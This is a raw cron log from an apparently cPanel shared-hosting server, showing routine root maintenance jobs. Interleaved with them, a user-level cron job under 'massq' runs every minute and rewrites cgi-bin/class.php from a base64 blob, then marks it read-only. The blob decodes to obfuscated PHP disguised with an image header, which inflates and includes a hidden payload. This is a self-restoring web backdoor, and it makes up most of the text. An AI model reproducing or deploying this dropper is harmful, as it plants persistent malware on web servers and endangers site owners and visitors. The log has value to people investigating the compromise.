Sep 10 19:10:01 server CROND[11515]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 19:10:01 server CROND[11520]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 19:10:01 server CROND[11519]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 19:10:01 server CROND[11523]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:10:01 server CROND[11522]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 19:10:01 server CROND[11524]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:10:01 server CROND[11521]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 19:11:01 server CROND[12462]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:11:01 server CROND[12463]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:11:01 server CROND[12464]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 19:12:01 server CROND[12841]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 19:12:01 server CROND[12842]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:12:01 server CROND[12844]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 19:12:01 server CROND[12843]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:13:01 server CROND[13228]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:13:01 server CROND[13230]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 19:13:01 server CROND[13229]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:14:02 server CROND[13612]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:14:02 server CROND[13611]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 19:14:02 server CROND[13613]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:15:01 server CROND[14007]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 19:15:01 server CROND[14008]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 19:15:01 server CROND[14014]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 19:15:01 server CROND[14017]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 19:15:01 server CROND[14012]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 19:15:01 server CROND[14018]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:15:01 server CROND[14016]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:15:01 server CROND[14015]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 10 19:16:01 server CROND[14944]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:16:01 server CROND[14945]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 19:16:01 server CROND[14946]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:17:01 server CROND[15333]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:17:01 server CROND[15334]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:17:01 server CROND[15335]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 19:18:01 server CROND[15870]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:18:01 server CROND[15871]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 19:18:01 server CROND[15872]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:19:01 server CROND[16293]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:19:01 server CROND[16294]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 19:19:01 server CROND[16292]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:20:01 server CROND[16682]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 19:20:01 server CROND[16685]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 19:20:01 server CROND[16684]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 19:20:01 server CROND[16687]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 19:20:01 server CROND[16686]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 19:20:01 server CROND[16689]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 19:20:01 server CROND[16688]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:20:01 server CROND[16691]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:20:01 server CROND[16690]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 19:21:01 server CROND[17508]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:21:01 server CROND[17509]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
